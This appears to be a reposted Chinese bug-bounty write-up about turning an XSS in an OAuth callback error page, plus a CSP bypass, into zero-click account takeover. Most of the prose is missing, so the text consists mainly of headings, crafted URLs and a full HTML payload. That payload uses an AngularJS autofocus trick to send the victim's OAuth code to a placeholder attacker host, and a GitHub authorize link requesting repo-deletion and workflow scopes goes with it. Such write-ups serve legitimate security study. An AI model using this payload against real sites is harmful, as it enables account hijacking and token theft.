扫码领资料
获网安教程
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
介绍
在最近的一个项目中,我遇到了一些看似不太严重的漏洞。然而,令人惊讶的是,当这些问题结合在一起时,它们构成了一个重大安全风险——一个零点击账户接管漏洞。问题的核心是一个看似普通的OAuth回调URL,但仔细检查后,暴露了多个问题。
在本文中,我们将详细分析OAuth回调URL,逐步解决每个问题,并解释事件链如何使我们能够利用这些漏洞。我们的目的是通过此实际案例,强调类似问题对Web应用程序和用户数据安全可能带来的潜在威胁。
img
什么是OAuth?
OAuth是一种广泛使用的协议,它允许应用程序通过流行的提供商(如Google或GitHub)的账户来简化用户登录流程。OAuth过程包含几个关键步骤:
OAuth回调URL上的XSS
发现注入点
https://example.com/callback?code=AUTHORIZATION_CODE
https://example.com/github/ofg/callback?error=redirect_uri_mismatch&error_description=Wrong+URI
绕过CSP
武器化 XSS 以窃取 OAuth 代码
<!DOCTYPE html>
<html>
<head>
<meta charset=”utf-8" />
<title>Zero Click Account takeover</title>
<meta name=”description” content=”” />
<meta name=”viewport” content=”width=device-width” />
<base href=”/” />
<script src=”lib/socket.io.min.js”></script>
</head>
<body>
<script src=”scripts/vendor-31****a1.js”></script>
<div ng-app=”” ng-init=””>
<input ng-on-focus=”$event.view.location = ‘https://ATTACKER-URL.COM/' %2b $event.view.location.search.slice(1).split(‘%26’)[2].split(‘=’)[1]” autofocus />
</div>
</body>
</html>
https://github.com/login/oauth/authorize?response_type=code&redirect_uri=https://example.com/auth/github/ofg/callback?error=q%26error_description=XSS_PAYLOAD_HERE&scope=repo%2Cread%3Aorg%2Cdelete_repo%2Cworkflow%2Cuser%3Aemail&client_id=*************
https://example.com/auth/github/ofg/callback?code=CODE_HERE
结论
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):绕过CSP实现零点击账户接管
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论